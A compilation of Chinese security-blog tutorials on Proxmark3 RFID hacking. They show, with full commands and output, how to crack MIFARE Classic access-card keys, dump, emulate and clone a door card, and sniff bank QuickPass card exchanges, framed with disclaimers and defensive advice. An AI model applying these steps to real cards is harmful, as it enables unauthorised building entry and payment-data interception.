RFID Hacking ④:ProxMark3 破解门禁

pm3

文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

0x00 前言

国际黑客大会Defcon传统之一:开锁!因为黑客认为锁也是一种安全挑战。我们在黑客题材电影、电视剧中也常常看到:男主女主利用高超的黑客技能侵入目标公司的网络,甚至利用社会工程学突破门禁防护潜入对方办公地点进行物理攻击,如入无人之境。(神盾局、黑客军团、Who am i 貌似都有类似情节)

Clipboard Image.png

北上广不相信眼泪 16集

在这一背景下,我们不经思考:门禁系统作为企业物理第一道屏障,这些硬件基础设施安全是否一直都被忽视?

0x01 准备工作

Linux、Windows环境搭建可参考:RFID Hacking②:PM3入门指南 一文。

Clipboard Image.png

1.1 进入PM3工作终端

./proxmark3 /dev/ttyACM0

1.2 测试天线

proxmark3> hw tune

# LF antenna: 29.98 V @   125.00 kHz          
# LF antenna: 30.39 V @   134.00 kHz          
# LF optimal: 36.30 V @   129.03 kHz          
# HF antenna: 27.90 V @    13.56 MHz          
proxmark3> 

1.3 设备固件

proxmark3> hw ver
#db# Prox/RFID mark3 RFID instrument                 
#db# bootrom: /-suspect 2015-04-02 15:12:04                 
#db# os: /-suspect 2015-04-02 15:12:11                 
#db# HF FPGA image built on 2015/03/09 at 08:41:42    

0x02 爆破&枚举秘钥

2.1 读取卡片

proxmark3> hf 14a reader
ATQA : 04 00          
 UID : 2c f0 55 0b           
 SAK : 08 [2]          
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1          
proprietary non iso14443a-4 card found, RATS not supported 

2.2 执行NESTED攻击,枚举&爆破key:

proxmark3> hf mf chk *1 ? t
No key specified,try default keys          
chk default key[0] ffffffffffff          
chk default key[1] 000000000000          
chk default key[2] a0a1a2a3a4a5          
chk default key[3] b0b1b2b3b4b5          
chk default key[4] aabbccddeeff          
chk default key[5] 4d3a99c351dd          
chk default key[6] 1a982c7e459a          
chk default key[7] d3f7d3f7d3f7          
chk default key[8] 714c5c886e97          
chk default key[9] 587ee5f9350f          
chk default key[10] a0478cc39091          
chk default key[11] 533cb6c723f6          
chk default key[12] 8fd0a4f256e9          
--SectorsCnt:0 block no:0x03 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:0 block no:0x03 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:B key count:13           
Found valid key:[ffffffffffff]          
proxmark3> 

成功获得卡片key。

2.3 利用PRNG漏洞,执行mifare “DarkSide”攻击

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(090a070d060b0501) nr(00000000)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 9 |  c  |0,0,0,0,0,0,0,0|
| 20 |00000020| a |  f  |0,0,0,0,0,0,0,0|
| 40 |00000040| 7 |  2  |0,0,0,0,0,0,0,0|
| 60 |00000060| d |  8  |0,0,0,0,0,0,0,0|
| 80 |00000080| 6 |  3  |0,0,0,0,0,0,0,0|
| a0 |000000a0| b |  e  |0,0,0,0,0,0,0,0|
| c0 |000000c0| 5 |  0  |0,0,0,0,0,0,0,0|
| e0 |000000e0| 1 |  4  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8          
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...          

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d0407030d070c04) nr(00000001)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000001| d |  8  |0,0,0,0,0,0,0,0|
| 20 |00000021| 4 |  1  |0,0,0,0,0,0,0,0|
| 40 |00000041| 7 |  2  |0,0,0,0,0,0,0,0|
| 60 |00000061| 3 |  6  |0,0,0,0,0,0,0,0|
| 80 |00000081| d |  8  |0,0,0,0,0,0,0,0|
| a0 |000000a1| 7 |  2  |0,0,0,0,0,0,0,0|
| c0 |000000c1| c |  9  |0,0,0,0,0,0,0,0|
| e0 |000000e1| 4 |  1  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8          
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...          

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d040e0e0c010e00) nr(00000002)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000002| d |  8  |0,0,0,0,0,0,0,0|
| 20 |00000022| 4 |  1  |0,0,0,0,0,0,0,0|
| 40 |00000042| e |  b  |0,0,0,0,0,0,0,0|
| 60 |00000062| e |  b  |0,0,0,0,0,0,0,0|
| 80 |00000082| c |  9  |0,0,0,0,0,0,0,0|
| a0 |000000a2| 1 |  4  |0,0,0,0,0,0,0,0|
| c0 |000000c2| e |  b  |0,0,0,0,0,0,0,0|
| e0 |000000e2| 0 |  5  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
p1:0 p2:0 p3:0 key:ffffffffffff
p1:29e5f p2:18a2b p3:1 key:b8b2a3c07af9
p1:2ba97 p2:19a40 p3:2 key:b5ba0002b5ea
p1:2c3fd p2:19fb9 p3:3 key:b4b979ba49de
p1:3de0e p2:24775 p3:4 key:968a7a09c714
p1:3fdf4 p2:25a7a p3:5 key:931b36c268ed
p1:54f81 p2:32426 p3:6 key:6ecaf371a99d
p1:58b75 p2:34777 p3:7 key:6860b744915b
p1:616dd p2:3998a p3:8 key:59747d7fdf41
p1:63400 p2:3ab54 p3:9 key:56476bbef406
p1:64ae0 p2:3b844 p3:a key:53dc6ee57a91
p1:6dc19 p2:40e78 p3:b key:44554ae362a1
p1:708f8 p2:42956 p3:c key:3f83eb143dd6
p1:7abf0 p2:48987 p3:d key:2e2b8565f96b
p1:7b298 p2:48d82 p3:e key:2d70e3e38553
p1:8420b p2:4e219 p3:f key:1e238b63e204
p1:8ce60 p2:53484 p3:10 key:0f4b7cb380a5
key_count:17
------------------------------------------------------------------
Key found:ffffffffffff 

Found valid key:ffffffffffff          
proxmark3> 

通过这一方式,同样可以获得卡片的key,不过很多时候还是要靠运气,因为不是所有的卡片都存在这种漏洞。如果不存在PRNG漏洞,我们则需要通过嗅探卡片和读卡器之间通信的数据包解出卡片的Key。

使用PM3进行中间人攻击嗅探通信数据包的方法可参考:【RFID Hacking③】ProxMark3使用案例:嗅探银行闪付卡信息 ,以及RadioWar团队的 利用Proxmark3监听M1卡交互过程,算出某一区的key

0x03 dump卡片数据&数据处理

使用上述方法,我们成功获得卡片key,接下来我们便可以使用key导出卡片中的所有数据(dumpdata)

proxmark3> hf mf nested 1 0 A ffffffffffff d 
--block no:00 key type:00 key:ff ff ff ff ff ff  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
Time in nested: 0.030 (inf sec per key)

-----------------------------------------------
Iterations count: 0

|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to bynary file dumpkeys.bin...          
proxmark3> 

在这一过程中,在PM3当前工作目录下生成了dumpkey.bin文件:

Clipboard Image.png

接下来我们执行hf mf dump便能获得整张卡片的数据:

proxmark3> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
Command execute timeout          
Sending bytes to proxmark failed          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
proxmark3> 

此时,卡片数据已经被导出到PM3主目录下的dumpdata.bin这个二进制文件中,:

Clipboard Image.png

但是PM3并不能识别、使用二进制文件,我们还需要使用脚本将这个二进制文件转换成.eml格式的文本信息:

proxmark3> script run dumptoemul.lua 
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file 2CF0550B.eml

-----Finished
proxmark3> 

dumptoemul脚本成功将dumpdata.bin二进制文件转换成以卡片ID值命名的eml格式文件:

eml

我们来对比一下这两个文件:

cat

效果已经很明显了,脚本已经将乱码的二进制文件转换成了txt文本信息。

dumptoemul.lua脚本的功能也可以用Python语言来实现:bin2txet.py

#!/usr/bin/python
from __future__ import with_statement
import sys
import binascii

READ_BLOCKSIZE = 16

def main(argv):
    argc = len(argv)
    if argc < 3:
        print 'Usage:', argv[0], 'dumpdata.bin output.txt'
        sys.exit(1)

    with file(argv[1], "rb") as file_inp, file(argv[2], "w") as file_out:
        while True:
            byte_s = file_inp.read(READ_BLOCKSIZE)
            if not byte_s:
                break
            hex_char_repr = binascii.hexlify(byte_s)
            file_out.write(hex_char_repr)
            file_out.write("\n")

if __name__ == '__main__':
    main(sys.argv)

python bin2text.py dumpdata.bin output.txt
mv output.txt 2CF0550B.eml

清除仿真内存的各区块数据:

hf mf eclr 

把从卡片中导出的数据加载到PM3设备中:

proxmark3> hf mf eload 2CF0550B       
Loaded 64 blocks from file: 2CF0550B.eml  

使用PM3模拟门禁卡:

proxmark3> hf mf sim
 uid:N/A, numreads:0, flags:0 (0x00)           
#db# 4B UID: 2CF0550B              
proxmark3> 

这时我们可以使用PM3来实现通过门禁。另外一种方式:把从卡片导出的数据从PM3设备内存中克隆到白卡里,使用克隆卡片通过门禁

proxmark3> hf mf cload e         
Cant get block: 1

bingo

0x04 安全建议

目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡,没有去进行加密认证或开发专用的密钥,其安全隐患远比Mifare卡的破解更危险,非法破解的人士只需采用专业的技术手段就可以完成破解过程。

门禁厂商、管理员:做好防护工作加强安全意识,尽量避免使用默认key、安全性低的key;对卡片和门禁读卡器使用身份认证&验证机制,绝对不能直接使用原始IC卡的UID号或ID卡的ID号去做门禁卡!

用户:妥善保管自己的门禁卡,避免信息泄露。
物联网IOT的高速发展,无线通信技术的应用也日趋广泛。本文仅通过门禁系统案例揭露NFC、RFID相关协议&技术存在的一些安全隐患。

我们现实生活中也有真实存在的案例:2010年北京一卡通被爆存在漏洞,可随意修改卡内余额,个人猜测这里很有可能是通过利用mifare卡片的PRNG漏洞来实现的。2014年,国外安全研究员发现台湾铁路、公交系统的悠游卡(EasyCard)同样存在PRNG漏洞,可修改卡片余额,并向悠游卡公司反馈报告了这一漏洞:

Clipboard Image.png

0x05 系列文章

RFID Hacking:看我如何突破门禁潜入FreeBuf大本营

RFID Hacking②:PM3入门指南

RFID Hacking③ ProxMark3使用案例:嗅探银行闪付卡信息

0x06 Refer

Mifare Classic 1k – cracker les clefs et lire le tag avec Proxmark3

offensive-security.com : Cloning RFID Tags with Proxmark 3

RadioWar : Proxmark3使用案例

DefCon 23 HOW TO TRAIN YOUR RFID HACKING TOOLS

backtrack-linux.org : RFID Cooking with Mifare Classic

BlackHat 2013 USA RFID Hacking Live Free or RFID Hard

*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

http://www.freebuf.com/articles/wireless/109151.html

RFID Hacking③ ProxMark3使用案例:嗅探银行闪付卡信息

Image

原创作者:雪碧@0xroot
接上一篇《RFID Hacking②:PM3入门指南 文章内容可能具有一定攻击性,仅供安全研究技术交流,如有非法使用后果自担

0x00 前言

RFID是Radio Frequency Identification的缩写,术语为射频识别,俗称电子标签。按照工作频率的不同,RFID标签可以分为低频(LF)、高频(HF)、超高频(UHF)和微波等不同种类。目前国际上广泛采用的频率分布于4种波段,低频(125KHz)、高频(13.54MHz)、超高频(850MHz~910MHz)和微波(2.45GHz)。

目前在实际应用中,比较常用的是13.56MHz、860MHz~960MHz、2.45GHz等频段。近距离RFID系统主要使用125KHz、13.56MHz等LF和HF频段,技术最为成熟;远距离RFID系统主要使用433MHz、860MHz~960MHz等UHF频段,以及2.45GHz、5.8GHz等微波频段,目前还多在测试当中,没有大规模应用。

低频:

低频段射频标签,简称为低频标签,其工作频率范围为30kHz~300kHz。典型工作频率有125KHz和133KHz。

低频标签一般为无源标签,其工作能量通过电感耦合方式从阅读器耦合线圈的辐射近场中获得。低频标签与阅读器之间传送数据时,低频标签需位于阅读器天线辐射的近场区内。

低频标签的阅读距离一般情况下小于1米。

中高频:

中高频段射频标签的工作频率一般为3MHz~30MHz。典型工作频率为13.56MHz。根据无线电频率的一般划分,这一工作频段又称为高频,所以也常将其称为高频标签。

中频标签的阅读距离一般情况下也小于1米。中频标签由于可方便地做成卡状,广泛应用于电子车票、电子遥控门锁控制器、小区物业管理、大厦门禁系统等。

0x01 PM3常用命令

1.1常用类

help     显示帮助. hw help 与 hw 是等价的。
data    图形窗口/缓冲区数据操作等等
exit    退出Proxmark3的终端环境
hf  高频相关命令
hw  硬件检测相关命令
lf  低频相关命令
quit    退出Proxmark3的终端环境等同exit 

hw tune 显示天线调谐
hw ver  显示硬件(固件)版本

1.2 low Frequency 低频类(LF)

lf 低频相关命令
help    显示帮助
cmdread      <'0'> <'1'> <命令> ['h'] -- 在读取之前发送命令来调整LF读卡器周期(以微妙为单位)('h'选项为134)
em4x    EM4X卡类相关命令...
flexdemod   解调FlexPass样本
hid     HID卡类相关命令...
indalademod     ['224'] --解调Indala样本的64位UID(选项'224'是224位)
indalaclone     [UID] ['l']-- 克隆Indala到T55x7卡 (标签必须在天线上)(UID为16进制)(选项'l'表示224位UID)
read    ['h'] -- 读取125/134 kHz的低频ID标签(选项'h'是134)
sim     [GAP] -- 从可选GAP的缓冲区模拟低频标签(以微秒为单位)
simbidir    模拟低频标签(在读卡器和标签之间双向传输数据)
simman  <时钟> <比特率> [GAP] 模拟任意曼彻斯特低频标签
ti  TI卡类相关命令...
hitag   Hitag标签与应答相关…
vchdemod    ['clone'] - 解调VeriChip公司样本
t55xx   T55xx卡类相关命令...
PCF7931     PCF7931卡类相关命令... 

1.3 High Frequency 高频类(HF)

hf 高频相关命令
help    显示帮助
14a     ISO14443A卡的相关命令...
14b     ISO14443B卡的相关命令...
15  ISO15693卡的相关命令...
epa     德国身份证的相关命令...
legic   LEGIC卡的相关命令...
iclass  ICLASS卡的相关命令...
mf  MIFARE卡的相关命令...
tune    连续测量高频天线的调谐 

1.3.1 hf 14a 【ISO14443A卡的相关命令】

hf 14a help  显示帮助
hf 14a list     列出窃听到的ISO14443A类卡与读卡器的通信历史记录
hf 14a reader   读取ISO14443A类卡的UID等数据
hf 14a cuids    收集指定数目的随机UID,显示开始和结束时间。
hf 14a sim   -- 模拟ISO14443A类标签
hf 14a snoop    窃听ISO14443A类卡与读卡器的通信数据
hf 14a raw  使用RAW格式命令发送指令到标签 

1.3.2 hf 14b 【ISO14443B卡的相关命令】

hf 14b help  显示帮助
hf 14b demod    调制ISO14443B协议的标签
hf 14b list     列出窃听到的ISO14443B类卡与读卡器通信历史记录
hf 14b read     读取ISO14443B类卡的信息
hf 14b sim  模拟ISO14443B类标签
hf 14b simlisten    从高频样本中模拟ISO14443B类标签
hf 14b snoop    监听ISO14443B类卡与读卡器之间的通信数据
hf 14b sri512read    -- 读取SRI512标签的内容
hf 14b srix4kread    -- 读取SRIX4K标签的内容
hf 14b raw  使用RAW格式命令发送指令到标签 

1.3.3 hf 15 【ISO15693卡的相关命令】

hf 15 (ISO15693卡的相关命令...)
hf 15 help  显示帮助
hf 15 demod     调制ISO15693协议的标签
hf 15 read  读取ISO15693类卡的信息
hf 15 record    记录ISO15693标签样本
hf 15 reader    作为ISO15693卡类的读卡器,读取UID等信息
hf 15 sim   模拟ISO15693协议的标签
hf 15 cmd   向ISO15693协议的标签直接发送命令
hf 15 findafi   暴力一个ISO15693标签的AFI
hf 15 dumpmemory    读取ISO15693标签的所有页内存数据 

1.3.4 hf iclass 【ICLASS卡的相关命令】

hf iclass help   显示帮助
hf iclass list  列出窃听到的iClass类卡与读卡器的通信历史记录
hf iclass snoop     窃听iClass类卡与读卡器的通信数据
hf iclass sim   模拟iClass标签
hf iclass reader    读取iClass标签 

1.3.5 hf mf 【MIFARE卡的相关命令】

hf mf help   显示帮助
hf mf dbg   设置默认调试模式
hf mf rdbl  读取MIFARE classic卡的区块数据
hf mf rdsc  读取MIFARE classic卡的扇区数据
hf mf dump  导出MIFARE classic卡的数据到二进制文件
hf mf restore   从二进制文件恢复数据到空白的MIFARE classic卡
hf mf wrbl  改写MIFARE classic卡的区块数据
hf mf chk   测试MIFARE classic卡的各个区块KEY A/B
hf mf mifare    基于PRNG漏洞,执行mifare “DarkSide”攻击操作
hf mf nested    测试嵌套认证漏洞,基于一个已知Key,获取都有扇区Keys
hf mf sniff     嗅卡片与读写器之间的通讯(等同于hf 14a snoop)
hf mf sim   模拟一个MIFARE卡片
hf mf eclr  清除仿真内存的各区块数据
hf mf eget  获取仿真内存的各区块数据
hf mf eset  设置仿真内存的各区块数据
hf mf eload     从导出的文件加载仿真数据
hf mf esave     导出保存仿真数据到文件
hf mf ecfill    利用仿真器的keys来填补仿真内存
hf mf ekeyprn   打印输出仿真内存中的keys
hf mf csetuid   直接设置可改UID卡的UID
hf mf csetblk   把对应区块数据写入UID卡
hf mf cgetblk   读取UID卡对应区块数据
hf mf cgetsc    读取UID卡对应扇区数据
hf mf cload     写入dump数据到UID卡。注意
hf mf csave     保存UID卡数据到文件或者仿真内存 

0x02 QuickPass闪付

FreeBuf小科普:

“闪付”(Quick Pass)代表银联的非接触式支付产品及应用,具备小额快速支付的特征。用户选购商品或服务,确认相应金额,用具备“闪付”功能的金融IC卡或银联移动支付产品,在支持银联“闪付”的非接触式支付终端上,轻松一挥便可快速完成支付。一般来说,单笔金额不超过1000元,无需输入密码和签名。非接触式“闪付”终端,主要覆盖日常小额快速支付商户,包括超市、便利店、百货、药房、快餐连锁等零售场所和菜市场、停车场、加油站、旅游景点等公共服务领域。

支持NFC的安卓设备可通过支付宝、NFC生活通等App读取到闪付卡的最近十次消费记录:
LrMobile1205-2016-102813132164115944.jpegLrMobile1205-2016-103213076776056590.jpeg

Image
接下来我们将演示如何在手机App读取银行闪付卡信息的时候进行嗅探&窃听。

演示流程:

1.使用NFC生活通判断银行闪付卡类型:标签-读取标签:


这里我们得到了标签类型:Mifare Classic 14443
2.根据标签类型,选择合适的嗅探命令:

hf mf sniff 实时显示嗅探到的数据
hf iclass snoop
hf 14a snoop

3.把银行卡放到PM3天线上,在手机读取银行卡信息前执行嗅探命令;

4.把手机紧贴银行卡,读取银行卡信息;

5.结束嗅探,列出&查看嗅探到的数据。

hf mf sniff 实时显示嗅探到的数据
hf iclass list
hf 14a list

6.对嗅探到的数据进行解码。

Image

(解码Tips可参考《无线电安全攻防大揭秘》45-50页 )

0x03 演示视频

接下来以hf 14a系列命令进行演示:

屏幕录像:

http://v.qq.com/iframe/player.html?vid=k019986hwf9&tiny=0&auto=0

全局录像:

http://v.qq.com/iframe/player.html?vid=p0199ispz2k&tiny=0&auto=0

0x04 参考&感谢

RedioWar : Proxmark3命令帮助
*作者:雪碧@0xroot.cn ,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

首发地址:http://www.freebuf.com/geek/104239.html

RFID Hacking②:PM3入门指南

IMG_0234.JPG

0x00 前言

Proxmark3是由Jonathan Westhues在做硕士论文中研究Mifare Classic时设计、开发的一款开源硬件,可以用于RFID中嗅探、读取以及克隆等相关操作,如:PM3可以在水卡、公交卡、门禁卡等一系列RFID\NFC卡片和与其相对应的机器读取、数据交换的时候进行嗅探攻击,并利用嗅探到的数据通过XOR校验工具把扇区的密钥计算出来,当然PM3也能用于破解门禁实施物理入侵。

IMG_0234.JPG

0x01 环境搭建

1.1 windows环境

PM3的固件和软件通常是配套使用,也就是说每个固件版本都有一个硬件的elf固件和与它对应的软件。

在RadioWar购买的PM3默认使用r486版本的固件(固件&App下载地址), 第一次使用需要在PC上安装PM3的驱动:

1.png

设备管理

2.png

更新驱动

3.png

信任驱动

4.png

安装成功

5.png

1.1.1硬件测试

在r486\Win32\目录中找到proxmark3.exe,将其拉入cmd窗口中,回车确认便进入了PM3的工作终端:

cmd.png

hw tune //测量天线的调谐
hw ver //打印显示Proxmark3的固件版本信息
hw reset //重置PM3

hw.jpg

1.1.2 Bug

经测试,PM3兼容性、稳定性存在问题,导致经常崩溃,问题的原因个人猜测可能是r486版本固件问题,导致经常在windows平台崩溃。解决方案:升级固件、使用Linux平台,这些都将在文章的后续内容中分享。

1.2固件升级(本文以升级为848固件版本为例)

在r486\Win32目录中找到烧写PM3固件的工具:flasher.exe,将该文件拖入cmd窗口再敲个空格,接着在新固件848\firmware_win目录中找到fullimage.elf 也将其拖入cmd窗口:

flasher.png

回车确认等待一小会就ok了。

1.3 Linux

